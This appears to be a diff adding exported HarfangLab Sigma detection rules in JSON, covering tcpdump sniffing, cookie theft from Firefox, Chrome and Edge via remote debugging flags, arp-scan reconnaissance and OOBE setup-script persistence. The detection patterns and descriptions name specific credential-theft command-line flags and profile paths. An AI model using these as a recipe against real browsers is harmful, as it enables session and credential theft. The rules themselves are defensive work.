+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "664cd2df-1afc-49fd-9f6c-211ad8f00f7d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087660Z",
+  "creation_date": "2026-03-23T11:45:34.087662Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087666Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/fdb6cdb7c66b8164aefb57c4ff88e594f0bae068/atomics/T1040/T1040.md#atomic-test-1---packet-capture-linux-using-tshark-or-tcpdump",
+    "https://attack.mitre.org/techniques/T1040/"
+  ],
+  "name": "t1040_network_sniffing_tcpdump.yml",
+  "content": "title: Network Sniffed via tcpdump (Linux)\nid: 664cd2df-1afc-49fd-9f6c-211ad8f00f7d\ndescription: |\n    Detects the execution of tcpdump, a command-line utility used to capture and analyze network traffic.\n    Adversaries can use tcpdump to sniff the network traffic and capture information about an environment, including authentication materials passed over the network.\n    It is recommended to investigate the context of the execution to determine if this action was legitimate.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/fdb6cdb7c66b8164aefb57c4ff88e594f0bae068/atomics/T1040/T1040.md#atomic-test-1---packet-capture-linux-using-tshark-or-tcpdump\n    - https://attack.mitre.org/techniques/T1040/\ndate: 2022/12/26\nmodified: 2025/10/14\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.discovery\n    - attack.t1040\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.LOLBin.Tcpdump\n    - classification.Linux.Behavior.CredentialAccess\n    - classification.Linux.Behavior.SensitiveInformation\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/tcpdump'\n\n    exclusion_qualys:\n        GrandparentImage: '/usr/local/qualys/cloud-agent/bin/qualys-scan-util'\n\n    exclusion_thumbnail:\n        GrandparentCommandLine: '/usr/bin/python3.6 /opt/vdcm/bin/vdcm-get-thumbnail'\n\n    exclusion_cron:\n        Ancestors|contains: '|/usr/sbin/crond|'\n\n    exclusion_timeout:\n        ParentImage: '/usr/bin/timeout'\n\n    exclusion_containers:\n        Ancestors|contains:\n            - '|/usr/bin/dockerd|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n            - '|/usr/sbin/containerd-shim-runc-v2|'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "664cd2df-1afc-49fd-9f6c-211ad8f00f7d",
+  "rule_name": "Network Sniffed via tcpdump (Linux)",
+  "rule_description": "Detects the execution of tcpdump, a command-line utility used to capture and analyze network traffic.\nAdversaries can use tcpdump to sniff the network traffic and capture information about an environment, including authentication materials passed over the network.\nIt is recommended to investigate the context of the execution to determine if this action was legitimate.\n",
+  "rule_creation_date": "2022-12-26",
+  "rule_modified_date": "2025-10-14",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1040"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "666092ca-01b6-41c8-ba46-d9e6b01af49a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077889Z",
+  "creation_date": "2026-03-23T11:45:34.077891Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077895Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/wunderwuzzi23/firefox-cookiemonster",
+    "https://embracethered.com/blog/posts/2020/firefox-cookie-debug-client/",
+    "https://redcanary.com/blog/threat-intelligence/google-chrome-app-bound-encryption/",
+    "https://spycloud.com/blog/infostealers-bypass-new-chrome-security-feature/",
+    "https://mango.pdf.zone/stealing-chrome-cookies-without-a-password",
+    "https://attack.mitre.org/techniques/T1539/"
+  ],
+  "name": "t1539_cursed_cookies_firefox.yml",
+  "content": "title: Possible Attempt to Steal Firefox Cookies via Remote Debugging\nid: 666092ca-01b6-41c8-ba46-d9e6b01af49a\ndescription: |\n    Detects Firefox being launched with a remote debugging port and a headless option.\n    This allows an attacker to subsequently issue requests to the Firefox application and retrieve user cookies, they will be decrypted by Firefox itself and sent through the Debug Port.\n    This particular technique is usually used in conjunction with the Firefox Cookiemonster program that issues the correct API requests to the Firefox browser.\n    While a YARA rule has also been made for that specific binary, these commands could also be issued through different means.\n    More information about the commands is in the Github code mentioned in the references, which is quite simple, investigation could be done through network packets sent through the debug port.\n    Possible False Positive information is also included at the bottom of this rule.\n    It is recommended to analyze the context around the execution of Firefox to determine if it was executed by or in the context of a suspicious binary.\nreferences:\n    - https://github.com/wunderwuzzi23/firefox-cookiemonster\n    - https://embracethered.com/blog/posts/2020/firefox-cookie-debug-client/\n    - https://redcanary.com/blog/threat-intelligence/google-chrome-app-bound-encryption/\n    - https://spycloud.com/blog/infostealers-bypass-new-chrome-security-feature/\n    - https://mango.pdf.zone/stealing-chrome-cookies-without-a-password\n    - https://attack.mitre.org/techniques/T1539/\ndate: 2023/03/30\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1539\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SensitiveInformation\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        Image|endswith: '\\firefox.exe'\n        CommandLine|contains|all:\n            - '-start-debugger-server'\n            - '-headless'\n\n    exclusion_intellij_wsl:\n        Ancestors|contains: '|?:\\Windows\\System32\\wsl.exe|?:\\Program Files\\JetBrains\\IntelliJ IDEA*\\bin\\idea64.exe|'\n\n    exclusion_node:\n        Ancestors|contains: '|?:\\Program Files\\nodejs\\node.exe|'\n\n    condition: selection and not 1 of exclusion_*\nfalsepositives:\n    - \"The default Firefox port for debugging is 9222, this may be used by Web Developers but might be indicative of an attacker trying to disguise as a legitimate user.\"\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "666092ca-01b6-41c8-ba46-d9e6b01af49a",
+  "rule_name": "Possible Attempt to Steal Firefox Cookies via Remote Debugging",
+  "rule_description": "Detects Firefox being launched with a remote debugging port and a headless option.\nThis allows an attacker to subsequently issue requests to the Firefox application and retrieve user cookies, they will be decrypted by Firefox itself and sent through the Debug Port.\nThis particular technique is usually used in conjunction with the Firefox Cookiemonster program that issues the correct API requests to the Firefox browser.\nWhile a YARA rule has also been made for that specific binary, these commands could also be issued through different means.\nMore information about the commands is in the Github code mentioned in the references, which is quite simple, investigation could be done through network packets sent through the debug port.\nPossible False Positive information is also included at the bottom of this rule.\nIt is recommended to analyze the context around the execution of Firefox to determine if it was executed by or in the context of a suspicious binary.\n",
+  "rule_creation_date": "2023-03-30",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1539"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "66612dcf-97ff-48d8-a464-e0da524154d2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.613331Z",
+  "creation_date": "2026-03-23T11:45:34.613335Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.613343Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.kali.org/tools/arp-scan/",
+    "https://linux.die.net/man/1/arp-scan",
+    "https://attack.mitre.org/techniques/T1018/",
+    "https://attack.mitre.org/techniques/T1046/"
+  ],
+  "name": "t1018_arp_scan_linux.yml",
+  "content": "title: Arp-scan Execution\nid: 66612dcf-97ff-48d8-a464-e0da524154d2\ndescription: |\n    Detects the execution of arp-scan, a tool used to discover and map local network hosts using the ARP protocol.\n    ARP (Address Resolution Protocol) is a network protocol that maps IP addresses to MAC (physical) addresses on a local network.\n    While legitimate for network administration, attackers commonly use this tool during reconnaissance to enumerate potential targets and understand network topology without generating TCP/UDP traffic.\n    It is recommended to investigate unauthorized arp-scan usage, correlate with other network discovery activities, and review affected network segments while identifying the source system of scanning attempts.\nreferences:\n    - https://www.kali.org/tools/arp-scan/\n    - https://linux.die.net/man/1/arp-scan\n    - https://attack.mitre.org/techniques/T1018/\n    - https://attack.mitre.org/techniques/T1046/\ndate: 2022/12/23\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1018\n    - attack.t1046\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Tool.ArpScan\n    - classification.Linux.Behavior.NetworkScan\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/arp-scan'\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "66612dcf-97ff-48d8-a464-e0da524154d2",
+  "rule_name": "Arp-scan Execution",
+  "rule_description": "Detects the execution of arp-scan, a tool used to discover and map local network hosts using the ARP protocol.\nARP (Address Resolution Protocol) is a network protocol that maps IP addresses to MAC (physical) addresses on a local network.\nWhile legitimate for network administration, attackers commonly use this tool during reconnaissance to enumerate potential targets and understand network topology without generating TCP/UDP traffic.\nIt is recommended to investigate unauthorized arp-scan usage, correlate with other network discovery activities, and review affected network segments while identifying the source system of scanning attempts.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018",
+    "attack.t1046"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "666add95-2a14-413a-8118-e37d63ce67e7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079984Z",
+  "creation_date": "2026-03-23T11:45:34.079986Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079990Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/BishopFox/sliver/wiki/Cursed",
+    "https://github.com/mandatoryprogrammer/CursedChrome",
+    "https://mango.pdf.zone/stealing-chrome-cookies-without-a-password",
+    "https://embracethered.com/blog/posts/2020/cookie-crimes-on-mirosoft-edge/",
+    "https://null-byte.wonderhowto.com/how-to/analyze-web-browser-extensions-for-possible-malware-other-malicious-activity-0236335/",
+    "https://attack.mitre.org/techniques/T1539/"
+  ],
+  "name": "t1539_cursed_cookies_chrome.yml",
+  "content": "title: Possible Attempt to Steal Chrome Cookies via Remote Debugging\nid: 666add95-2a14-413a-8118-e37d63ce67e7\ndescription: |\n    This rule detects Chrome being launched with a remote debugging port and a user data directory option pointed to a Chrome's User Data or Debug directory.\n    This allows an attacker to subsequently issue requests to the Chrome application and retrieve user cookies, they will be decrypted by Chrome itself and sent through the Debug Port.\n    This technique is usually accompanied by adding the Cursed Chrome extension to the browser, it is recommended to investigate extensions present on the browser.\n    A guide is present in the references.\n    False Positive may happen in one of these cases below:\n        - The default Chrome port for debugging is 9222, this may be used by Web Developers but might be indicative of an attacker trying to disguise as a legitimate user.\n        - When this technique is used, the --user-data-dir or --headless options are used, but these may not be necessary if it is executed through PowerShell.\n    It is recommended to investigate the context of this action to determine its legitimacy.\nreferences:\n    - https://github.com/BishopFox/sliver/wiki/Cursed\n    - https://github.com/mandatoryprogrammer/CursedChrome\n    - https://mango.pdf.zone/stealing-chrome-cookies-without-a-password\n    - https://embracethered.com/blog/posts/2020/cookie-crimes-on-mirosoft-edge/\n    - https://null-byte.wonderhowto.com/how-to/analyze-web-browser-extensions-for-possible-malware-other-malicious-activity-0236335/\n    - https://attack.mitre.org/techniques/T1539/\ndate: 2023/03/24\nmodified: 2025/04/18\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1539\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SensitiveInformation\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_image:\n        Image|endswith: '\\chrome.exe'\n\n    selection_debug:\n        CommandLine|contains: '--remote-debugging-port'\n\n    selection_profile:\n        CommandLine|contains: '--profile-directory'\n\n    selection_datadir1:\n        CommandLine|contains: '--user-data-dir'\n\n    selection_datadir2:\n        CommandLine|contains:\n            - '\\Library\\Application Support\\Google\\Chrome'\n            - '\\AppData\\Local\\Google\\Chrome\\User Data'\n\n    # Used by Rhadamanthys stealer\n    # https://any.run/report/7ac46862182e38faa8d46cdd384b47c45b4c4c28a898746248de845625c08f5a/eb3faa14-7861-439e-9664-ea1dc0185a35\n    selection_window:\n        CommandLine|contains|all:\n            - '--explicitly-allowed-ports'\n            - '--new-window'\n\n    filter_legitimate:\n        CommandLine|contains: '--remote-debugging-port=0'\n\n    exclusion_testcomplete:\n        ParentImage|endswith: '\\TestComplete.exe'\n        Signed: 'true'\n        Company: 'SmartBear'\n\n    exclusion_testcomplete_2:\n        GrandparentImage|endswith: '\\TestComplete.exe'\n        Signed: 'true'\n        Company: 'SmartBear'\n\n    condition: selection_image and ((selection_debug and (selection_profile or (all of selection_datadir*))) or selection_window) and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "666add95-2a14-413a-8118-e37d63ce67e7",
+  "rule_name": "Possible Attempt to Steal Chrome Cookies via Remote Debugging",
+  "rule_description": "This rule detects Chrome being launched with a remote debugging port and a user data directory option pointed to a Chrome's User Data or Debug directory.\nThis allows an attacker to subsequently issue requests to the Chrome application and retrieve user cookies, they will be decrypted by Chrome itself and sent through the Debug Port.\nThis technique is usually accompanied by adding the Cursed Chrome extension to the browser, it is recommended to investigate extensions present on the browser.\nA guide is present in the references.\nFalse Positive may happen in one of these cases below:\n    - The default Chrome port for debugging is 9222, this may be used by Web Developers but might be indicative of an attacker trying to disguise as a legitimate user.\n    - When this technique is used, the --user-data-dir or --headless options are used, but these may not be necessary if it is executed through PowerShell.\nIt is recommended to investigate the context of this action to determine its legitimacy.\n",
+  "rule_creation_date": "2023-03-24",
+  "rule_modified_date": "2025-04-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1539"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "666da981-8237-4850-9529-ff7a5cd34116",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074596Z",
+  "creation_date": "2026-03-23T11:45:34.074598Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074603Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/BishopFox/sliver/wiki/Cursed",
+    "https://mango.pdf.zone/stealing-chrome-cookies-without-a-password",
+    "https://redcanary.com/blog/threat-intelligence/google-chrome-app-bound-encryption/",
+    "https://spycloud.com/blog/infostealers-bypass-new-chrome-security-feature/",
+    "https://embracethered.com/blog/posts/2020/cookie-crimes-on-mirosoft-edge/",
+    "https://null-byte.wonderhowto.com/how-to/analyze-web-browser-extensions-for-possible-malware-other-malicious-activity-0236335/",
+    "https://attack.mitre.org/techniques/T1539/"
+  ],
+  "name": "t1539_cursed_cookies_edge.yml",
+  "content": "title: Possible Attempt to Steal Edge Cookies via Remote Debugging\nid: 666da981-8237-4850-9529-ff7a5cd34116\ndescription: |\n    Detects Edge being launched with a remote debugging port and a user data directory option pointed to a Edge's User Data or Debug directory.\n    This allows an attacker to subsequently issue requests to the Edge application and retrieve user cookies, they will be decrypted by Edge itself and sent through the Debug Port.\n    This technique is usually accompanied by adding the Cursed Chrome extension to the browser, it is recommended to investigate extensions present on the browser. A guide is present in the references.\n    It is recommended to investigate the parent process to determine the legitimacy of this action.\nreferences:\n    - https://github.com/BishopFox/sliver/wiki/Cursed\n    - https://mango.pdf.zone/stealing-chrome-cookies-without-a-password\n    - https://redcanary.com/blog/threat-intelligence/google-chrome-app-bound-encryption/\n    - https://spycloud.com/blog/infostealers-bypass-new-chrome-security-feature/\n    - https://embracethered.com/blog/posts/2020/cookie-crimes-on-mirosoft-edge/\n    - https://null-byte.wonderhowto.com/how-to/analyze-web-browser-extensions-for-possible-malware-other-malicious-activity-0236335/\n    - https://attack.mitre.org/techniques/T1539/\ndate: 2023/03/24\nmodified: 2025/08/19\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1539\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_image:\n        Image|endswith: '\\msedge.exe'\n\n    selection_profile:\n        CommandLine|contains|all:\n            - '--remote-debugging-port'\n            - '--profile-directory'\n\n    selection_datadir1:\n        CommandLine|contains|all:\n            - '--remote-debugging-port'\n            - '--user-data-dir'\n\n    selection_datadir2:\n        CommandLine|contains:\n            - '\\Library\\Application Support\\Microsoft\\Edge'\n            - '\\AppData\\Local\\Microsoft\\Edge\\User Data'\n\n    # Used by Rhadamanthys stealer\n    # https://any.run/report/7ac46862182e38faa8d46cdd384b47c45b4c4c28a898746248de845625c08f5a/eb3faa14-7861-439e-9664-ea1dc0185a35\n    selection_window:\n        CommandLine|contains|all:\n            - '--explicitly-allowed-ports'\n            - '--new-window'\n\n    filter_legitimate:\n        CommandLine|contains: '--remote-debugging-port=0'\n\n    condition: selection_image and (selection_profile or all of selection_datadir* or selection_window) and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "666da981-8237-4850-9529-ff7a5cd34116",
+  "rule_name": "Possible Attempt to Steal Edge Cookies via Remote Debugging",
+  "rule_description": "Detects Edge being launched with a remote debugging port and a user data directory option pointed to a Edge's User Data or Debug directory.\nThis allows an attacker to subsequently issue requests to the Edge application and retrieve user cookies, they will be decrypted by Edge itself and sent through the Debug Port.\nThis technique is usually accompanied by adding the Cursed Chrome extension to the browser, it is recommended to investigate extensions present on the browser. A guide is present in the references.\nIt is recommended to investigate the parent process to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2023-03-24",
+  "rule_modified_date": "2025-08-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1539"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6672ee8f-9e54-4cf9-8906-b4a7a71812b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085926Z",
+  "creation_date": "2026-03-23T11:45:34.085928Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085933Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://pentestlab.blog/2024/02/05/persistence-windows-setup-script/",
+    "https://attack.mitre.org/techniques/T1554/"
+  ],
+  "name": "t1554_windows_setup_script_persistence_executed.yml",
+  "content": "title: Windows Out of Box Experience Persistence Executed\nid: 6672ee8f-9e54-4cf9-8906-b4a7a71812b1\ndescription: |\n    Detects the execution of a process related to the Windows Out of Box Experience (OOBE).\n    The script \"%WINDIR%\\Setup\\Scripts\\ErrorHandler.cmd\" is executed whenever tools under \"C:\\WINDOWS\\System32\\oobe\" directory fail to run for any reason.\n    It is for example the case of the Windows setup binary that is executed when the Windows Operating system is installed or upgraded.\n    An adversary can use this technique to persistently execute a malicious code.\n    It is recommended to investigate the \"%WINDIR%\\Setup\\Scripts\\ErrorHandler.cmd\" script to determine the legitimacy of its content.\nreferences:\n    - https://pentestlab.blog/2024/02/05/persistence-windows-setup-script/\n    - https://attack.mitre.org/techniques/T1554/\ndate: 2024/02/05\nmodified: 2025/02/17\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.t1554\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentCommandLine: '?:\\Windows\\system32\\cmd.exe /c ?:\\Windows\\Setup\\Scripts\\ErrorHandler.cmd'\n        GrandparentImage|startswith: '?:\\Windows\\System32\\oobe\\'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6672ee8f-9e54-4cf9-8906-b4a7a71812b1",
+  "rule_name": "Windows Out of Box Experience Persistence Executed",
+  "rule_description": "Detects the execution of a process related to the Windows Out of Box Experience (OOBE).\nThe script \"%WINDIR%\\Setup\\Scripts\\ErrorHandler.cmd\" is executed whenever tools under \"C:\\WINDOWS\\System32\\oobe\" directory fail to run for any reason.\nIt is for example the case of the Windows setup binary that is executed when the Windows Operating system is installed or upgraded.\nAn adversary can use this technique to persistently execute a malicious code.\nIt is recommended to investigate the \"%WINDIR%\\Setup\\Scripts\\ErrorHandler.cmd\" script to determine the legitimacy of its content.\n",
+  "rule_creation_date": "2024-02-05",
+  "rule_modified_date": "2025-02-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1554"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6673e47f-a4ed-4de4-928c-1d6b6f36f56a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075524Z",
+  "creation_date": "2026-03-23T11:45:34.075526Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075531Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://twitter.com/0xcarnage/status/1203882560176218113",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_bdeunlock.yml",
